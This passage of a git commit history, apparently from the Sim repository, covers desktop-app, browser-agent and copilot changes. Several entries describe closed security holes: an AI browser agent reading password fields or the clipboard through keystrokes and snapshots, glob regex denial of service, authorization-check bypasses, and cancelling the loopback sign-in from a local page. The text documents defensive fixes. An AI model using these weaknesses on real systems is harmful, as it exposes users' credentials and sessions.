Ownership transfers only to the focused window: without that rule, two windows both showing the browser reclaim it on every bounds heartbeat and re-parent the native view back and forth roughly once a second while Sim sits in the background, where no window is focused. A destroyed owner is now forgotten rather than left rejecting updates from the window actually on screen, and a closing window's release is honoured even though Electron destroys it before emitting `closed` — previously that release was dropped and the next layout could re-parent the browser onto a window that never asked for it. The agent's password boundary is now enforced rather than assumed. It was treated as settled but had four ways through: `browser_press_key` sent trusted CDP keystrokes to whatever held focus, `clickElement` focused credential fields, `readActiveElementState` returned a preview of any focused value, and snapshots printed the contents of revealed password fields. Detection also used `instanceof HTMLInputElement`, which is realm-bound and returned false for inputs inside same-origin iframes — the nested login forms that need it most. Detection now matches on tagName/type/autocomplete, the keystroke guard runs in the driver where trusted CDP input is visible, and typing re-checks the real target before inserting, since login forms advance focus between the username and password steps. Signing out clears the embedded browser's profile. Its cookies, cache, pinned tabs, browsing trail, and reopen list all survived sign-out, so the next account on the machine inherited the previous user's live sessions. Partition hardening is keyed per session instead of a process-wide flag, which would have left a second partition with no permission handlers, no SSRF filtering, and no download blocking — silently, and still type-checking. Adds the first tests for page-functions.ts, including a serialization contract check: those functions ship to the page as String(fn), so a reference to module scope passes every other test and fails only against a real page. * fix(desktop): close clipboard, glob DoS, and authorization holes Found by a full audit of the desktop app against origin/staging. Each of these was measured or asserted rather than reasoned about. The agent could read the user's system clipboard. `browser_press_key('Cmd+V')` pasted it into a focused field and the next `browser_snapshot` returned it as an ordinary `value` — snapshots redact password fields, not pasted content, and clipboards routinely hold a password copied out of a manager. The credential guard added earlier did not catch it: `insertedTextFor` returns undefined whenever `meta` is set, so `Cmd+V` was classified as not text-inserting. `Control+V` reached the same place because the macOS normalizer rewrites it. Clipboard combos are now refused before dispatch rather than by withholding the CDP `commands` array, since off macOS these are Blink-native and a key event alone still performs them. Copy and cut go too — they clobber the user's clipboard as a side effect. A glob pattern could freeze the whole app. Micromatch compiles to a backtracking regex whose cost is exponential in wildcard count: measured against a single 46-character path with the options this code passes, ten wildcards took 2.7s and twelve took 43s, once per scanned entry, in one synchronous call that the surrounding abort checks never get to interrupt. That is the main process, so every window, the menu bar and the tray freeze with Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex` reports the generated source as safe, so it was no defense. Patterns are now bounded at six wildcards, which keeps the worst case near 2ms while leaving headroom over real patterns (which top out around four). A timing probe backs it up, with a budget loose enough that JIT warmth and machine load cannot make it fire on a legitimate pattern — a tight budget proved flaky in both directions. The grep authorization guard compared `request.pattern !== args.pattern`, so a tool call carrying no pattern made that `undefined !== undefined` and the guard passed — grep then fell back to searching the renderer's own `query` across the whole grant. `include` and `query` were never bound at all, letting a renderer widen a search or silently narrow results the agent believes are complete. The sibling glob case already had the `typeof` check, which is what made the asymmetry clearly unintentional. The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only because of a trailing slash. It now uses that helper, which also fixes a false negative on an explicitly stated default port. * fix(desktop): stop double sign-out, stranded retries, and redundant writes Three correctness bugs from the same audit. Menu Sign Out tore down the session directly instead of going through the lifecycle coordinator, so it skipped the in-progress guard — and its own cookie removal then tripped the coordinator's cookie watcher into a second concurrent teardown, duplicating the sign_out event, the storage clear, and the /login load. Teardown also existed as two divergent copies. The coordinator now exposes `signOut()` and owns the single path; the menu just calls it. That `tearDownSession` is no longer imported in index.ts is the check that it landed. Offline recovery could strand permanently. The auto-retry loop stops itself before calling `retry()`, and `retry()` never re-armed the load watchdog, which is started once per window. So if a retried load hung — precisely what the watchdog is for — no load event fired and no timer remained anywhere; the user sat on the offline page until the window was closed. `retry()` now re-arms before loading. Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for every tab, pinned or not, with no change check, and the settings store compares with `===` so a freshly built array never matched. Any single-page app therefore triggered a synchronous mkdir + write + rename of the whole settings file on the main thread on every route change — writing `[]` over `[]` when nothing was pinned. The list is now fingerprinted, seeded at restore from what is already on disk so the first navigation after launch is not a write either. * fix(desktop): leaked timers, silent grep failures, and crashed tabs Second pass on the audit backlog, all verified against tests that fail without the change. Every browser tool call leaked a timer. The watchdog raced the tool against `sleep()`, which cannot be cancelled, so when the tool won — the normal case — the timer stayed pending for the full window, up to two minutes, dozens deep during an agent run. Replaced with a cancellable timeout cleared in a `finally`; a test asserts the fake-timer count is unchanged across a call. An invalid grep regex reported "no matches". A SyntaxError from `new RegExp` returned an empty result set, which tells the model the string appears nowhere in the user's files — a factual claim it acts on, when the search never ran. It now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while there, since it was only inside it to be re-thrown. A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still named it, making `requireTab()` report "no page is open" with other tabs open, and the panel went blank with no recovery. `render-process-gone` now drops the tab, advances the active id, and reports session closure when it was the last. `probeSession` cleared its abort timer inline after the await, so a thrown fetch — the case the function exists for — skipped it. Moved to `finally`, which also brings the body read inside the deadline. One vanished file failed a whole directory listing: `Promise.all` over per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory. Churning directories like build output would intermittently fail to list. Removed the `session-lifecycle -> browser-agent/driver` import edge, which dragged the entire browser subsystem and its module-load `nativeTheme` listener into the auth path to reach one four-line function. `clearBrowserProfile` is now a required dependency wired from index.ts, which already owns both sides. Also deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers. Added a channel-parity test between the preload bridge and the IPC table. They share ~20 channel names as bare string literals with nothing tying them together, so a typo on either side is a silently dead feature that type-checks and ships. Verified it fails on a one-character change. * fix(desktop): reach framed elements and harden the loopback sign-in Two behaviour fixes from the audit backlog. Interaction with same-origin iframes was broken. The snapshot deliberately walks into those frames and hands the model ids for what it finds, but every interaction then tested `instanceof HTMLInputElement` against the top frame's constructors — false for nodes owned by a frame, because element wrappers are realm-bound. So the driver reported a real `<input>` as "not a text input", which took out framed login forms and editors that put a contenteditable body in an iframe, such as TinyMCE. Framed selects reported "not a select" and framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type the method being called, matching the realm-safe approach the credential guard already used. The native value setter is taken from the element's own realm: calling the top frame's setter on a frame's node throws "Illegal invocation". Snapshot value reporting follows the same rule, which is safe because the credential redaction above it is realm-safe and runs first. The loopback sign-in server could be cancelled by anything on the machine. It validated only the shape of the returned state, then tore the one-shot server down and dispatched, leaving the real constant-time comparison to the callback. So a request carrying any well-formed state killed an in-flight sign-in — and the port is reachable by any local process and by any page the user has open via a no-CORS GET, which cannot read the response but does not need to, since the side effect is the kill. The state is now checked before anything is torn down, and a Host that does not name the loopback is refused, which closes the DNS-rebinding shape. * refactor(desktop): drop duplicated helpers and stop logging query strings Net -3 lines, and one of them was a real leak. `navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare `.slice(0, 200)`, which keeps the query string — the five other log sites in the app go through `scrubUrl` for exactly that reason. Tokens and signed parameters live in query strings, so a blocked-URL warning could write one to disk. Both now scrub. `local-filesystem.ts` carried a private `isRecord` byte-identical to `isRecordLike` in `@sim/utils/object`, and four more sites inlined the same check. All now use the shared helper, which also tightens three of them: the inline versions omitted the array exclusion, so an array satisfied a check that then cast it to a record. `tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s `truncate` exists for. Titles between 58 and 60 characters now get an ellipsis where they previously did not — cosmetic, in a tray menu label. Removed the `getTabsState` passthrough in the driver, a one-line re-export of the session's own function, and renamed the session-level clear to `clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the driver's being the composite that also clears the browsing-trail registry; index.ts was already aliasing at the import to tell them apart. Two things deliberately not done. The hand-rolled semver in updater.ts stays: replacing it needs `semver` plus `@types/semver` as new declared dependencies in the Electron main process, and the 90 lines it would delete are already covered by eight assertions that I verified match the library's behaviour case for case. Note the same prerelease comparison is duplicated in apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both. No barrel for browser-agent either: routing `security-guards.ts` through one to reach a single leaf function would pull the whole browser subsystem into its module graph, which is the edge just removed from session-lifecycle. * refactor(desktop): move browser compositing out of the session module session.ts held five responsibilities in one flat namespace: 1,061 lines, 29 exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is a comparable 1,125 lines with two exports and no ambient state — size was never the problem, the shared mutable namespace was. Compositing is the part worth isolating. Where the native view sits, when it is visible, which window owns it, the renderer bounds lease, and the occlusion snapshot are the most intricate logic in the browser and are almost entirely separable from tab bookkeeping. They now live in panel.ts (342 lines) and session.ts is 792, with 15 bindings instead of 26. The two modules were mutually dependent, which is what makes this kind of split go wrong. Rather than events or a shared store, panel.ts takes the four things it needs from the session through one PanelHost passed to initPanel — the same shape as the existing initSession — so the import graph is one-way and there is no new indirection to trace. Tab changes reach the panel by the session calling layout(), exactly as before. Two behaviours became explicit rather than implicit in the move: detachIfAttached replaces callers reading `attachedView` to decide whether a closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`. Nothing about the split is verified by the split itself, so the bounds lease got characterization tests first. It had none — there was not a single fake timer in the suite — despite being the mechanism that hides the view when the renderer crashes or wedges. Both tests were confirmed to fail against a broken lease before the refactor began. The other 47 tests were not rewritten: only the module their calls address changed, which is the useful signal that behaviour was preserved. Deliberately not split further. Focus tracking stays with tabs because it keys off tab ids, and profile teardown stays put; separating either would be taxonomy rather than decoupling. * refactor: drop the legacy local_* filesystem tool shim Granted folders are addressed through the ordinary VFS: the model calls read/grep/glob against paths under user-local/, exactly as it does for workspace files. A parallel local_read / local_grep / local_glob / local_list / local_stat / local_mount_directory / local_list_mounts / local_forget_mount / local_stage_file toolset existed alongside it, recognized but never advertised, so an in-flight checkpoint written by an older desktop build could still finish. There are no older desktop builds. apps/desktop is at version 0.0.0, the only artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no floor, and the app does not exist on staging at all — the v0.7.x tags are the web app's. Nothing can have persisted a checkpoint naming these tools, and nothing advertises them: they are absent from the generated tool catalog and from mothership's catalog. The shim was defending against a past that never happened. Removes the name table, the legacy request builder, the server-side LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop authorization switch, and nine display labels. isDesktopFilesystemToolCall collapsed into isUserLocalVfsToolCall, which it had become a synonym for. Two tests went with it. One asserted that local_list_mounts routes to the desktop; the test immediately after it already covers the real path, an ordinary read against a user-local path. The other asserted that legacy names cannot open a folder picker, revoke a grant, or upload bytes — that property now holds because no such tool name exists, which is a stronger guarantee than refusing one. * refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases These beta surfaces are not a direction we are taking, so they come out rather than staying behind a flag. Gone: the workflow alias modules (path resolution, DB-backed resolver, .plans/.changelogs backing provisioning), the alias materialization in the copilot VFS, the alias write paths in resource-writer and workspace_file, the sandbox alias mounts in function_execute, the reserved backing-path guards across mkdir/mv/create, and the alias resolution in the chat home file picker. xlsx survives but changes owner. It was gated twice across the repo boundary: mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the compile path on mothership-beta. Those live in separate AppConfig applications, so an operator had to flip two flags in two consoles, and off-hosted Sim fell back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership controls whether the model ever learns xlsx exists, so if it is never offered it is never requested and the second chokepoint only created a way for the two halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner. With its last consumer gone, the mothership-beta flag and the MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo are harmless until removed separately: they only inject an env var nothing reads, and createEnv runs with skipValidation. The reserved-system-file/folder concept goes with the aliases, since it existed only to hide the backing rows. includeReservedSystemFiles and includeReservedSystemFolders are removed rather than left as options every caller passes true to. backingVfsPath is removed for the same reason — nothing sets it once aliases are gone, so it was an always-undefined field on tool results. Test coverage is preserved rather than deleted with the feature. resource-writer.test.ts looked alias-only but three of its eleven cases cover the generic create path that survives; those are kept and the file retitled. Two open_resource tests and one output-path test used alias-shaped strings while asserting generic behavior; retargeted or dropped where a sibling already covers it. * refactor(copilot): remove the dead planArtifact column plumbing copilot_chats.plan_artifact has no writer and no reader that does anything with it. No client sends it, nothing renders it, and its whole history is fork-chat and duplicate-chat plumbing faithfully copying a column that is always null — the one change that might have populated it (mothership v0.8) was reverted. Removed from the schema, the copilot API contract, the chat lifecycle column sets, the fork route, superuser import, the data drain, the update-messages write path, and the legacy chat detail response. No migration here on purpose. The column stays in the database, orphaned and null; dropping it is a separate deliberate step rather than something that rides along with a code cleanup. Note that the next drizzle-kit generate will now want to emit the DROP COLUMN, and check-migrations-safety will ask for it to be annotated — that is the right moment to decide, not now. Mothership never saw this field; it is Sim-side only. * chore(copilot): sync the tool catalog for load_skill Picks up the new load_skill tool plus the grep description that dropped its stale reference to VFS "plans" entries. Generated from copilot/contracts/tool-catalog-v1.json. * refactor(copilot): follow the load_custom_tool rename to load_mcp_tool Mothership renamed the loader once it was clear MCP was the only catalog kind it could match, and dropped the single-valued `type` parameter. The two prompt strings that teach the model the call shape are updated to load_mcp_tool({ name }). load_custom_tool stays in the UI hide-list next to load_agent_skill so tool rows in historical transcripts keep rendering; nothing emits it any more. * chore(copilot): sync the tool catalog and hide load_skill in the UI load_integration_tool and list_integration_tools now publish route go/sync instead of sim/async. Nothing changes in Sim's behavior — they always ran in Go; the contract had been wrong. load_skill joins the hidden tools. It is the same shape as the other loaders already there: the agent pulling in a reference guide before doing the work is a step toward the action, not the action. Sim's display-coverage test caught that a newly added visible tool had no title or completed verb, which is the guard working. * fix(auth): handle session expiry in the app, not the desktop shell The workspace auth gate is a Server Component, so it only re-evaluates on a server render. A session that expired or was revoked mid-visit left the SPA mounted and silently 401ing every request, with nothing to redirect it. The desktop shell had grown its own detector for this: a 401 listener over /api/*, a session probe, and a native "your session has expired" prompt. It could only infer session state from cookie events and HTTP statuses, and it inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during teardown) and on launching already signed out (the window still shows the restored route while the web app redirects). Those were nearly all of its firings, since a 30-day sliding window means real expiry is rare. Generalizes the impersonation-expired screen instead, which already had the right shape: it keys off the session query settling to null after a session that was live. A signed-out visitor never arms it, and `error` is excluded so an offline blip cannot read as an expiry. The session query now refetches on focus for every session, not just impersonation ones, so returning to a window that slept through its session re-checks it. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(copilot): port the scheduled-task and VFS fixes onto staging-v4 Replays the sim-side prompt-audit work on top of staging-v4. complete_scheduled_task was filtered out of the execute route's response payload, so an until_complete job could report completion and still be rescheduled; the post-run bookkeeping now also refuses to revive a job that already completed. Also clamps browser_wait_for's timeout the way the desktop agent does, and replaces the oversized-read error's offset/limit advice, which sent the model into a guaranteed retry loop. * feat(desktop): let the model actually see browser screenshots browser_screenshot captured an image and then threw it away. The renderer stripped the data URL and substituted a note, and the tool's own description told the model not to bother: "Dead end for perception." So the agent was blind to anything not expressible as DOM text — canvas, charts, maps, images, rendering and layout bugs. The copilot has carried the machinery for this all along. A tool result shaped as { content, attachment: { type: "image", source: { type: "base64", ... } } } is serialized into a real image content block, with the media type sniffed from the bytes rather than trusted from the declaration, and degraded to a text stub when the routed model has no vision so the provider never 400s. The screenshot result is now reshaped into that contract instead of discarded. A malformed data URL still falls back to a note rather than shipping an attachment the provider would reject. Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is relative to CSS pixels, so this also sidesteps the device pixel ratio — an unclipped capture on a retina display returns a 2x image, which was several hundred kilobytes for no legibility the model could use. The description is rewritten to bias toward visual questions only: appearance, layout, rendering, charts, canvas. Reading content or finding something to click stays with browser_snapshot, which is cheaper and returns the element ids a screenshot cannot. That distinction is structural, not just advisory — having seen the page does not let the agent act on it. Companion change in mothership generalizes the tool-result inline-budget exemption from "the read tool" to "any result carrying a model attachment". Keyed on the tool name, an oversized screenshot fell through to the artifact branch: the image was replaced by a reference the model cannot open, and the result still reported success. Silent, and it would have hit almost every call. * fix(desktop): polish browser panel and environment tray icon * fix(desktop): enlarge environment tray markers * fix(desktop): smooth environment tray markers * refactor(copilot): consolidate resource mutation tools * chore(copilot): clean up VFS follow-ups * fix(desktop): round the dev tray marker * feat(desktop): add integrated terminal resources * Fix electron app resize causing glitchy browser frames * feat(copilot): add persistent tool permissions * fix(copilot): retire stale tool permission prompts * fix(desktop): keep terminal rendering responsive * fix(desktop): preserve resource rendering continuity * feat(desktop): add browser tab duplication actions * feat(desktop): add terminal tab context actions * fix(desktop): allow browser agent localhost navigation * feat(desktop): add tmux-backed terminal sessions * fix(desktop): restore terminal scrollback per view * chore(copilot): sync updated wait tool contract * poll terminal session state for non regular shells * add terminal right click menu * feat(desktop): add terminal handoff and key batching * fix(desktop): reserve the traffic-light lane from the platform macOS draws the window controls itself, at a fixed physical size, above all web content. The page renders full-bleed beneath them, so it has to reserve that lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with page zoom and the OS-drawn lights do not, so zooming out shrank the reservation until the lights were drawn over the sidebar toggle, and the header row below sat inside their band. Electron's `titleBarOverlay` publishes the controls' real geometry to the page as the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation derived from them holds its physical size. Measured across zoom 0.58-1.2, the reserved area stays within ~0.6 DIP, the residual coming from env values being quantized to whole CSS pixels. Every lane length now derives from those vars, so the login route and the mothership content offset were fixed without being touched — they already read `--desktop-title-bar-height`. Two of the replaced constants were also simply wrong: the platform reports the lane at 38px and the safe area at 81px, against the hand-measured 36 and 83. The toggle keeps a constant physical size beside the lights, expressed as a proportion of the lane rather than in pixels: a px literal would scale with zoom, and calc cannot divide a length by a length to recover a scale factor. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(desktop): avoid transient terminal tab labels * feat(copilot): attach browser and terminal tab context * feat(desktop): close tmux panes from terminal tools * fix(desktop): keep terminal tab icons stable * add right click to browser and cleanup terminal right click options * fix(desktop): reduce hidden panel background work * perf(desktop): shrink browser panel snapshots * perf(desktop): reduce terminal main process overhead * perf(terminal): pause work for hidden sessions * fix session arch for desktop * fix(desktop): replace exited terminal sessions * feat(copilot): persist desktop resources across chats * fix(emcn): keep resource tab widths consistent * fix(copilot): restore active client panels * feat(desktop): import Chrome browser data * fix(copilot): close resources before chat creation * feat(desktop): suggest imported browser sites * fix(desktop): autofill identifier-first sign-ins * fix resizing issues + cookies source * fix visits marking * chore(db): drop branch migrations ahead of staging merge 0264/0265 on this branch collide with staging's 0264-0270 on both the journal idx slots and the meta snapshot filenames. Reverting the migration artifacts to the merge-base lets staging's chain merge cleanly; schema.ts keeps the copilot changes and drizzle-kit regenerates a single migration on top of 0270 after the merge. Co-Authored-By: Claude <noreply@anthropic.com> * feat(db): regenerate copilot tool-permission migration on top of staging Replaces the branch's old 0264/0265 (dropped pre-merge so staging's 0264-0270 chain could apply cleanly) with a single 0271 generated against staging's schema: the permission-decision enum, the two copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools. Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed every reader, but the currently-deployed code still SELECTs that column, so dropping it in the same deploy breaks the old app version during blue/green overlap — `check:migrations` flags it for exactly this reason, and the honest fix is to defer rather than annotate around it. The column is retained in schema.ts marked @deprecated; drop it in a follow-up once this has rolled out. Also in this commit, all fallout from the merge itself: - pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf alongside the source change. Worth noting the stub exists because the suite's 203.0.113.10 is TEST-NET-3, which the real classifier correctly calls reserved — the old stub had been quietly disagreeing with production. - materialize-file test: dropped the reserved-system-folder case, which covered the workflow-alias backing folders this branch deleted. - api-validation route ratchet 977 -> 983 (this branch's new routes). Co-Authored-By: Claude <noreply@anthropic.com> * add cmd f * review pass * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0271, so the snapshot and journal would conflict add/add. Ours is plain additive DDL that drizzle regenerates from schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0272, so the snapshot and journal would conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb default) that drizzle regenerates from schema.ts; staging's is a hand-written migration with DO blocks and CONCURRENTLY index builds that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * style(db): biome-format the regenerated migration metadata drizzle-kit emits _journal.json and the snapshot with expanded arrays, which biome check rejects. The merge commit used --no-verify, so lint-staged never formatted them and CI's lint step failed on exactly these two files. Whitespace only — both files are byte-identical under `jq -S -c`. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): pin the platform in the OS-auth tests promptForSecret gates Touch ID on process.platform === 'darwin'. The suite mocked electron's systemPreferences but inherited the runner's real platform, so the eight biometric expectations passed on a Mac and failed on Linux CI, where every call fell through to the confirmation dialog instead. Pins the platform per-test and restores it after, and adds a case for the gate itself — the branch whose absence from the suite is what let this through. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): refine environment dock icons * fix(desktop): align packaged environment icons * fix(desktop): keep packaged dock icon rendering consistent --------- Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Waleed <walif6@gmail.com> Co-authored-by: Theodore Li <theo@sim.ai> |
||
|
Theodore Li
|
b57cd58006 | fix(cleanup): pass array values as scalar binds, incompatible with fetch_types false (#6035) | ||
|
Vikhyath Mondreti
|
c809845b99 |
improvement(self-host): enterprise features enabling (#6028)
* improvement(self-host): enterprise features enabling * chore(helm): bump chart to 1.3.0 for the enterprise self-host values values.yaml gained the ENTERPRISE_ENABLED switch and INSTANCE_ORG_* keys, and the feature-flag envDefaults moved from "false" to empty so the master switch can resolve them. Additive and backward compatible, so a minor bump. * fix(self-host): address review findings on instance org and org delete Drop the per-process instance-org id cache. It went stale once the organization was deleted through the Admin API, and clearing it from the delete handler would only heal the replica that served that request. The lookup runs on the signup path against a single-row table, so re-reading costs nothing and keeps every replica self-correcting. Scope the org-delete subscription conflict to entitled statuses. Matching any row regardless of status let a canceled subscription — which bills nobody — permanently block deletion. * fix(admin): block org delete on any live subscription, not just entitled ones ENTITLED_SUBSCRIPTION_STATUSES excludes trialing, so a trial — which grants no entitlement but is a live Stripe subscription that will convert — slipped past the delete guard and could be stranded against a removed organization id. Adds TERMINAL_SUBSCRIPTION_STATUSES and inverts the predicate: block unless the row is finished. Expressed as the terminal set so a status Stripe adds later defaults to blocking, which is the safe direction for a destructive operation. * fix(self-host): resolve SSO and access-control in the UI, not the raw env var Nine client consumers still read NEXT_PUBLIC_SSO_ENABLED / NEXT_PUBLIC_ACCESS_CONTROL_ENABLED directly while the server gates and settings nav had moved to the resolver. With only ENTERPRISE_ENABLED set that produced dead ends: the SSO settings section appeared but ssoClient() was never registered and no login button rendered, and the Access Control section appeared but its page reported "not entitled". Points every consumer at isSsoEnabled / isAccessControlEnabled so visibility and capability come from one place. * fix(admin): validate retention workspace targets on the Admin API too retentionOverrides and per-workspace PII rules both name a workspace, and neither field is a foreign key. The settings UI rejected ids belonging to another organization; the Admin API did not, so the two paths could persist different data for the same org. Extracts the check as getForeignWorkspaceTargetsReason and points both routes at it, so they cannot drift apart again. * fix(self-host): close three review findings on admin routes and cleanup Make org delete atomic. detachOrganizationWorkspaces committed on its own, so a failed delete left workspaces detached and re-billed while the organization, its members, and its settings survived. Adds a Tx variant so both commit together. Gate the admin session-policy PATCH on entitlement, matching the settings UI. Without it the stored policy was inert — getSessionPolicy resolves to no-op when the feature is off, so the one eager clamp would be undone on the next refresh. Stop emitting plan-wide housekeeping when billing is off. It is keyed to the hosted free-tier 30-day window, the same default the per-workspace pass deliberately refuses to apply off-hosted. * fix(admin): gate whitelabel on entitlement and emit detach audits post-commit The Admin whitelabel PATCH skipped the entitlement check the settings UI runs, so an admin key could set branding the product had not granted the org. detachOrganizationWorkspacesTx also wrote its audit rows inside the caller's transaction, contradicting its own doc comment — a rolled-back delete would have left audit history describing detachments that never happened. It now returns the rows and callers emit them after commit. * fix(self-host): refuse instance-org resolution when the slug is ambiguous organization.slug has no unique constraint, and the lookup took the first of however many matched. The choice is unordered, so two replicas could resolve different organizations and split new signups between them. Resolution is now three-state. Ambiguity is distinct from absence, so it both declines to adopt an arbitrary organization and declines to provision another one on top of the duplicates. |
||
|
Waleed
|
591702b4aa |
improvement(pinning): move pin into the context menu and make folders pinnable (#6039)
- Replaces the hover-revealed inline pin button on Files, Knowledge, and Tables with a Pin/Unpin item in each row's right-click menu, labelled from current state - Deletes `PinButton` and the now-unused `ResourceCell.endAdornment` slot (plus the `group` class `DataRow` only carried for it) - Adds `folder` to `pinnedResourceTypeSchema` and `PINNED_RESOURCES` — no migration needed, `pinned_item.resource_type` is plain text — and wires Pin/Unpin into the Files folder rows, which sort pinned-first like every other list - Folder pins resolve against `workspace_file_folders`, not the generic `folder` table: file folders are still read and written there, and `folder`'s `resource_type = 'file'` rows are a one-time backfill new folders never reach |
||
|
Waleed
|
48d59ca7ac |
fix(connectors): make selector dropdowns resolve options the drain has not reached (#6027)
* fix(connectors): stop the connector selector implying an option does not exist The connector selector field ignored the drain state the shared selector hook already exposes. Paginated selectors fill in the background and the combobox filters client-side, so a not-yet-drained option is genuinely absent from the list — and the dropdown said "No spaces found", which reads as "this space does not exist" and sends users off to enter the value by hand. That is what happened with a Confluence space on a site with thousands of personal spaces. It now reports that the list is still filling, surfaces a failed drain instead of claiming to load forever, and is honest when the drain stops at its page cap. * feat(connectors): resolve selector options by exact key without waiting on the drain The connector selector fills by draining pages in the background and filters client-side, so an option is only findable once its page has arrived. On a large Confluence site that is ~38 seconds, during which searching for a real space returned nothing. Resolves the typed value and the selected value directly through the selector's `fetchById`, merging both into the option list, so an exact key is selectable immediately regardless of drain progress. `confluence.spaces.fetchById` now uses the documented v2 `keys` filter instead of scanning only the first page — which never resolved a space sorting beyond it. Adds `onSearchChange` to the shared Combobox so a consumer can observe the search box, held in a ref so its identity stays stable for the handlers that capture it without declaring it. Also fixes a pre-existing hazard in useSelectorOptionDetail: a caller-supplied `enabled` replaced the guard that checks a definition declares `fetchById`, so `queryFn`'s non-null assertion would throw for the ~12 selectors without one. * fix(connectors): paginate the Confluence pages selector instead of returning one page `/api/tools/confluence/pages` issued a single request and discarded the `_links.next` cursor Confluence returns, so the picker showed only the first `limit` pages of however many exist — a search for a real page found nothing, with no error and no truncation signal. Threads the documented opaque cursor and moves the selector to `fetchPage`, so the option list drains like `confluence.spaces` and reports real `hasMore` / `truncated` state. The `title` server-side filter is unchanged and now paginates too. `limit` is deliberately left at its existing default: the endpoint's maximum is not confirmable from Atlassian's published reference, and raising it is not needed for correctness. Also guards `data.results`, which threw when the response omitted it. * fix(connectors): query both space statuses explicitly on exact-key lookup The exact-key lookup omitted `status`, assuming that matched a space whether it was current or archived. Atlassian documents a `current,archived` default for `/pages` but documents no default for `/spaces`, where `status` takes a single value rather than an array — so the assumption was unverified, and resolving only current spaces would silently miss archived ones. Archived spaces are reachable through the paged path and sync works against them. Queries `current` first and falls back to `archived` only when it finds nothing, so the common case stays one request and the behaviour no longer depends on an undocumented default. * fix(connectors): revert pages drain, restore CloudWatch labels, tighten key lookup Six adversarial verification passes against the provider spec and the surrounding plumbing found three defects in the prior commits. Reverts the Confluence pages selector to a single request. Draining it was not strictly better: with no search term `title` is unset, so opening the dropdown walked the entire site — up to 50 sequential requests and 2,500 options where there had been one request and 50 — and the route forwards no abort signal upstream, so superseded drains still bill the tenant's rate limit. The same fan-out reached `loadAllSelectorOptions`, and the justification rested on `title` semantics Atlassian does not publish. The list cap is a real gap, but it needs confirmed server-side search, not brute force. Keeps the `results` guard. Restores selector display names for CloudWatch blocks. Narrowing a caller's `enabled` against `definition.enabled` disabled a detail query those selectors satisfy without AWS context, so collapsed blocks rendered "-" instead of the log group name. A caller that opts in is now narrowed only by the hard precondition that `fetchById` exists, which is what `queryFn` actually asserts. Queries both space statuses concurrently rather than sequentially: the key is user-typed text, so a miss dominates while typing and paid two round-trips. Each row now falls back to the status its own call requested. Also drops the "enter the value directly" empty states — the combobox is not editable, so there is no such affordance — and dedupes `onSearchChange`, which several reset paths fire redundantly. * fix(connectors): keep resolved option labels and survive a half-failed key lookup Addresses three review findings. A key lookup failed entirely when either status leg errored, discarding a match the other leg had found. Only a total failure is fatal now. Resolved option labels are remembered for the lifetime of the field. Both lookups key on values that change — the search box clears on select and close, and a multi-select field resolves no id at all — so the label for a just-picked option vanished a debounce later and the trigger fell back to a raw id. This covers the multi-select case, which is what the Confluence space field uses. A failed exact-value lookup now reads differently from a failed list load, rather than being reported as "still loading" or "none found". * fix(connectors): drop remembered option labels when the selector context changes Resolved ids are only meaningful within one selector context, so switching credential, domain, or a dependency has to discard what was remembered under the old one — the queries re-key, but the remembered labels would linger and mislabel until the field remounted. Keyed on the serialized context rather than its identity: the context memo also depends on `sourceConfig`, so its identity changes on unrelated field edits and would clear the cache far more often than intended. * refactor(connectors): resolve selected option labels with useQueries Replaces the remembered-label map with per-id queries over the selected values, following the pattern the knowledge-base selector already uses. The map only ever held ids searched for in the current session, so a multi-select field restored from saved config still rendered raw ids — the case that actually matters. It also needed two effects and a serialized-context key to avoid leaking labels across a context change, all of which disappear: queries key on the context, so a label cannot outlive it. Gates the speculative lookup of typed text on a new `resolvesUnknownIds` flag, set only where `fetchById` returns null for an id that does not exist. Most implementations resolve a record by id, so every partial keystroke was a failed upstream request, retried once, and its error made "could 